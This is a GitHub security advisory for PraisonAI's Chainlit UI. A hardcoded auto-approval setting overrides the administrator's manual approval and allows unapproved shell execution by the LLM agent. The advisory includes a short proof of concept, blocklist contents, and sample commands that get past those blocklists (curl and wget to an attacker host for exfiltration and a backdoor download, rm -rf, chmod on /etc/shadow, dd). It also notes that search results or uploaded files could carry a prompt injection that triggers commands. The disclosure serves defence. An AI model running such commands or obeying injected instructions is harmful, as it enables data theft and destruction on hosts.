{"id":"GHSA-qwgj-rrpj-75xm","summary":"PraisonAI: Hardcoded `approval_mode=\"auto\"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution","details":"## Summary\n\nThe Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = \"auto\"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any \"manual\" or \"scoped\" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.\n\n## Details\n\nThe application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.\n\nHowever, both UI modules unconditionally override this after loading:\n\n**`chat.py:156-159`:**\n```python\nconfig = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"        # hardcoded override, ignoring admin config\n```\n\n**`code.py:155-158`:**\n```python\nconfig = ToolConfig.from_env()\nconfig.workspace = os.environ.get(\"PRAISONAI_CODE_REPO_PATH\", os.getcwd())\nconfig.approval_mode = \"auto\"        # same hardcoded override\n```\n\nThis flows to `agent_tools.py:347-348` in the `acp_execute_command` function:\n```python\nauto_approve = runtime.config.approval_mode == \"auto\"   # always True\napproved = await orchestrator.approve_plan(plan, auto=auto_approve)\n```\n\nThe plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:\n```python\nresult = subprocess.run(\n    step.target,\n    shell=True,           # shell execution\n    capture_output=True,\n    text=True,\n    cwd=str(workspace),\n    timeout=30\n)\n```\n\n**Command sanitization is insufficient.** Two blocklists exist:\n1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `\u003e\u003e`, `\u003e`, `|`, `;`, `&`, `\\n`, `\\r`\n2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` ``\n\nBoth only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c \"import os; os.unlink('/important')\"`, `dd if=/dev/zero of=/dev/sda`.\n\n## PoC\n\n**Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.\n\n```bash\n# Step 1: Start the Chainlit UI\npraisonai ui chat\n\n# Step 2: Log in with default credentials at http://localhost:8000\n# Username: admin\n# Password: admin\n\n# Step 3: Send a chat message requesting command execution:\n# \"Please run this command for me: cat /etc/passwd\"\n\n# The LLM agent calls acp_execute_command(\"cat /etc/passwd\")\n# _sanitize_command passes (no blocked patterns)\n# approval_mode=\"auto\" → auto-approved at agent_tools.py:347-348\n# subprocess.run(\"cat /etc/passwd\", shell=True) executes at action_orchestrator.py:458\n# Contents of /etc/passwd returned in chat\n\n# Step 4: Demonstrate the override of admin configuration:\n# Even with PRAISON_APPROVAL_MODE=manual set in the environment,\n# chat.py:159 overwrites it to \"auto\"\nexport PRAISON_APPROVAL_MODE=manual\npraisonai ui chat\n# Commands still auto-approve because of the hardcoded override\n```\n\n**Commands that bypass sanitization blocklists:**\n- `rm -rf /home/user/documents` — no blocked characters\n- `chmod 777 /etc/shadow` — no blocked characters  \n- `curl http://attacker.example.com/exfil` — no blocked characters\n- `wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters\n- `python3 -c \"__import__('os').unlink('/important/file')\"` — no blocked characters\n\n## Impact\n\n- **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.\n- **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys).\n- **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code.\n- **Availability impact:** Kill processes, consume disk/memory, delete critical data.\n- **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security.\n- **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.\n\n## Recommended Fix\n\nRemove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`:\n\n```python\n# Before (chat.py:156-159):\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"  # Trust mode - auto-approve all tool executions\n\n# After:\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\n# Respect PRAISON_APPROVAL_MODE from environment; defaults to \"auto\" in ToolConfig\n# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval\n```\n\nAdditionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist:\n\n```python\nimport shlex\n\nALLOWED_COMMANDS = {\"ls\", \"cat\", \"head\", \"tail\", \"grep\", \"find\", \"echo\", \"pwd\", \"wc\", \"sort\", \"uniq\", \"diff\", \"git\", \"python\", \"pip\", \"node\", \"npm\"}\n\ndef _sanitize_command(command: str) -\u003e str:\n    # Existing blocklist checks...\n    \n    # Additionally, check the base command against allowlist\n    try:\n        parts = shlex.split(command)\n    except ValueError:\n        raise ValueError(f\"Could not parse command: {command!r}\")\n    \n    base_cmd = os.path.basename(parts[0]) if parts else \"\"\n    if base_cmd not in ALLOWED_COMMANDS:\n        raise ValueError(\n            f\"Command {base_cmd!r} is not in the allowed command list. \"\n            f\"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}\"\n        )\n    \n    return command\n```","aliases":["CVE-2026-56075"],"modified":"2026-07-08T08:27:07.385846501Z","published":"2026-04-10T19:25:49Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-863"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-10T19:25:49Z"},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xm"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.128"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.13","4.5.14","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-qwgj-rrpj-75xm/GHSA-qwgj-rrpj-75xm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}